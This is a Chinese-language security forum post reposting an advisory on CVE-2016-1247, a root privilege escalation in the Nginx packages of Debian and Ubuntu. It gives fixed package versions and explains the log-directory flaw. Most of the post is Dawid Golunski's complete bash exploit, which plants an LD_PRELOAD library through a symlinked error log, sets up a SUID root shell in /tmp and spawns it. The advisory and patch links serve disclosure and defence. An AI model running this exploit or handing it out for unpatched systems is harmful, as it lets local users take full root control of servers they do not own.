搜索
查看: 1109|回复: 1

CVE-2016-1247:Debian、Ubuntu发行版的Nginx本地提权漏洞(含POC和成功利用过程)

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2016-11-16 18:59:03 | 显示全部楼层 |阅读模式
本帖最后由 Jumbo 于 2016-11-16 19:07 编辑

[/url]

漏洞发现人:Dawid Golunski

CVE编号  :CVE-2016-1247

发行日期  :15.11.2016

安全级别  :高


背景介绍


Nginx是一个高性能的HTTP和反向代理服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,其特点是占有内存少,并发能力强。


漏洞描述


Debian、Ubuntu发行版的Nginx在新建日志目录的时,使用了不安全的权限,因此本地恶意攻击者可以从nginx/web用户权限(www-data)提升到ROOT。


漏洞概要


Debian发行版的Nginx本地提权漏洞,该漏洞已经在1.6.2-5+deb8u3中修复

因为该漏洞细节是在官方修复后公布的,因此请低版本的Debian/ubuntu用户及时更新补丁:

补丁修复情况:

Debian:

在Nginx 1.6.2-5+deb8u3中修复

Ubuntu:

Ubuntu 16.04 LTS:

在1.10.0-0ubuntu0.16.04.3中修复

Ubuntu 14.04 LTS:

在1.4.6-1ubuntu3.6中修复

Ubuntu 16.10:

在1.10.1-0ubuntu1.1中修复


漏洞细节


基于Debian系统默认安装的Nginx会在下面的路径使用下面的权限新建Nginx日志目录

  1. root@xenial:~# ls -ld /var/log/nginx/
  2. drwxr-x--- 2 www-data adm 4096 Nov 12 22:32 /var/log/nginx/
  3. root@xenial:~# ls -ld /var/log/nginx/*
  4. -rw-r----- 1 www-data adm         0 Nov 12 22:31 /var/log/nginx/access.log
  5. -rw-r--r-- 1 root     root    0 Nov 12 22:47 /var/log/nginx/error.log
复制代码

我们可以看到/var/log/nginx目录的拥有者是www-data,因此本地攻击者可以通过符号链接到任意文件来替换日志文件,从而实现提权。

攻击者通过符号链接替换了日志文件后,需要等nginx daemon重新打开日志文件,因此需要重启Nginx,或者nginx damon接受USR1进程信号。

这里亮点来了,USR1进程信号会在默认安装的Nginx通过logrotate脚本调用的do_rotate()函数自动触发。

--------[ /etc/logrotate.d/nginx ]--------

  1. /var/log/nginx/*.log {
  2. daily
  3. missingok
  4. rotate 52
  5. compress
  6. delaycompress
  7. notifempty
  8. create 0640 www-data adm
  9. sharedscripts
  10. prerotate
  11. if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
  12. run-parts /etc/logrotate.d/httpd-prerotate; \
  13. fi \
  14. endscript
  15. postrotate
  16. invoke-rc.d nginx rotate >/dev/null 2>&1
  17. endscript
  18. }
  19. [...]
  20. do_rotate() {
  21.         start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME
  22.         return 0
  23. }
  24. [...]
复制代码

我们可以看到logrotation脚本会在corn中每天6:25AM自动调用,因此如果/etc/logrotate.d/nginx已经设置了'daily'日志回滚,攻击者将在不需要任何系统管理员交互的情况下,在24小时内实现提权到ROOT


漏洞验证截图


[url=http://p2.qhimg.com/t01220d5a1b823ab522.png]


POC

  1. #!/bin/bash
  2. #
  3. # Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
  4. # nginxed-root.sh (ver. 1.0)
  5. #
  6. # CVE-2016-1247
  7. #
  8. # Discovered and coded by:
  9. #
  10. # Dawid Golunski
  11. # dawid[at]legalhackers.com
  12. #
  13. # https://legalhackers.com
  14. #
  15. # Follow https://twitter.com/dawid_golunski for updates on this advisory.
  16. #
  17. # ---
  18. # This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
  19. # etc.) to escalate their privileges from nginx web server user (www-data) to root
  20. # through unsafe error log handling.
  21. #
  22. # The exploit waits for Nginx server to be restarted or receive a USR1 signal.
  23. # On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
  24. # script which is called daily by the cron.daily on default installations.
  25. # The restart should take place at 6:25am which is when cron.daily executes.
  26. # Attackers can therefore get a root shell automatically in 24h at most without any admin
  27. # interaction just by letting the exploit run till 6:25am assuming that daily logrotation
  28. # has been configured.
  29. #
  30. #
  31. # Exploit usage:
  32. # ./nginxed-root.sh path_to_nginx_error.log
  33. #
  34. # To trigger logrotation for testing the exploit, you can run the following command:
  35. #
  36. # /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
  37. #
  38. # See the full advisory for details at:
  39. # https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
  40. #
  41. # Video PoC:
  42. # https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
  43. #
  44. #
  45. # Disclaimer:
  46. # For testing purposes only. Do no harm.
  47. #
  48. BACKDOORSH="/bin/bash"
  49. BACKDOORPATH="/tmp/nginxrootsh"
  50. PRIVESCLIB="/tmp/privesclib.so"
  51. PRIVESCSRC="/tmp/privesclib.c"
  52. SUIDBIN="/usr/bin/sudo"
  53. function cleanexit {
  54. # Cleanup
  55. echo -e "\n[+] Cleaning up..."
  56. rm -f $PRIVESCSRC
  57. rm -f $PRIVESCLIB
  58. rm -f $ERRORLOG
  59. touch $ERRORLOG
  60. if [ -f /etc/ld.so.preload ]; then
  61. echo -n > /etc/ld.so.preload
  62. fi
  63. echo -e "\n[+] Job done. Exiting with code $1 \n"
  64. exit $1
  65. }
  66. function ctrl_c() {
  67.         echo -e "\n[+] Ctrl+C pressed"
  68. cleanexit 0
  69. }
  70. #intro
  71. cat <<_eascii_
  72. _______________________________
  73. < Is your server (N)jinxed ? ;o >
  74. -------------------------------
  75.            \
  76.             \          __---__
  77.                     _-       /--______
  78.                __--( /     \ )XXXXXXXXXXX\v.  
  79.              .-XXX(   O   O  )XXXXXXXXXXXXXXX-
  80.             /XXX(       U     )        XXXXXXX\
  81.           /XXXXX(              )--_  XXXXXXXXXXX\
  82.          /XXXXX/ (      O     )   XXXXXX   \XXXXX\
  83.          XXXXX/   /            XXXXXX   \__ \XXXXX
  84.          XXXXXX__/          XXXXXX         \__---->
  85. ---___  XXX__/          XXXXXX      \__         /
  86.    \-  --__/   ___/\  XXXXXX            /  ___--/=
  87.     \-\    ___/    XXXXXX              '--- XXXXXX
  88.        \-\/XXX\ XXXXXX                      /XXXXX
  89.          \XXXXXXXXX   \                    /XXXXX/
  90.           \XXXXXX      >                 _/XXXXX/
  91.             \XXXXX--__/              __-- XXXX/
  92.              -XXXXXXXX---------------  XXXXXX-
  93.                 \XXXXXXXXXXXXXXXXXXXXXXXXXX/
  94.                   ""VXXXXXXXXXXXXXXXXXXV""
  95. _eascii_
  96. echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
  97. echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"
  98. # Args
  99. if [ $# -lt 1 ]; then
  100. echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
  101. echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
  102. exit 3
  103. fi
  104. # Priv check
  105. echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
  106. id | grep -q www-data
  107. if [ $? -ne 0 ]; then
  108. echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
  109. exit 3
  110. fi
  111. # Set target paths
  112. ERRORLOG="$1"
  113. if [ ! -f $ERRORLOG ]; then
  114. echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
  115. exit 3
  116. fi
  117. # [ Exploitation ]
  118. trap ctrl_c INT
  119. # Compile privesc preload library
  120. echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
  121. cat <<_solibeof_>$PRIVESCSRC
  122. #define _GNU_SOURCE
  123. #include <stdio.h>
  124. #include <sys/stat.h>
  125. #include <unistd.h>
  126. #include <dlfcn.h>
  127.        #include <sys/types.h>
  128.        #include <sys/stat.h>
  129.        #include <fcntl.h>
  130. uid_t geteuid(void) {
  131. static uid_t  (*old_geteuid)();
  132. old_geteuid = dlsym(RTLD_NEXT, "geteuid");
  133. if ( old_geteuid() == 0 ) {
  134. chown("$BACKDOORPATH", 0, 0);
  135. chmod("$BACKDOORPATH", 04777);
  136. unlink("/etc/ld.so.preload");
  137. }
  138. return old_geteuid();
  139. }
  140. _solibeof_
  141. /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
  142. if [ $? -ne 0 ]; then
  143. echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
  144. cleanexit 2;
  145. fi
  146. # Prepare backdoor shell
  147. cp $BACKDOORSH $BACKDOORPATH
  148. echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
  149. # Safety check
  150. if [ -f /etc/ld.so.preload ]; then
  151. echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
  152. exit 2
  153. fi
  154. # Symlink the log file
  155. rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
  156. if [ $? -ne 0 ]; then
  157. echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
  158. cleanexit 3
  159. fi
  160. echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"
  161. # Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
  162. curl http://localhost/ >/dev/null 2>/dev/null
  163. # Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
  164. # rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
  165. echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
  166. while :; do
  167. sleep 1
  168. if [ -f /etc/ld.so.preload ]; then
  169. echo $PRIVESCLIB > /etc/ld.so.preload
  170. rm -f $ERRORLOG
  171. break;
  172. fi
  173. done
  174. # /etc/ld.so.preload should be owned by www-data user at this point
  175. # Inject the privesc.so shared library to escalate privileges
  176. echo $PRIVESCLIB > /etc/ld.so.preload
  177. echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
  178. echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
  179. echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
  180. chmod 755 /etc/ld.so.preload
  181. # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
  182. echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
  183. sudo 2>/dev/null >/dev/null
  184. # Check for the rootshell
  185. ls -l $BACKDOORPATH
  186. ls -l $BACKDOORPATH | grep rws | grep -q root
  187. if [ $? -eq 0 ]; then
  188. echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
  189. echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
  190. else
  191. echo -e "\n[!] Failed to get root"
  192. cleanexit 2
  193. fi
  194. rm -f $ERRORLOG
  195. echo > $ERRORLOG
  196.   
  197. # Use the rootshell to perform cleanup that requires root privilges
  198. $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
  199. # Reset the logging to error.log
  200. $BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
  201. # Execute the rootshell
  202. echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
  203. $BACKDOORPATH -p -i
  204. # Job done.
  205. cleanexit 0:Debian、ubuntu发行版的Nginx本地提权漏洞(含POC)
复制代码

修复方案


升级为最新的Nginx软件包

https://www.debian.org/security/2016/dsa-3701

https://www.ubuntu.com/usn/usn-3114-1/


参考链接


http://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

附上成功利用成功截图



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
您可以更新记录, 让好友们知道您在做什么...

0

主题

12

帖子

31

积分

我是新手

Rank: 1

积分
31
发表于 2016-11-26 13:02:43 | 显示全部楼层
日志·······
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表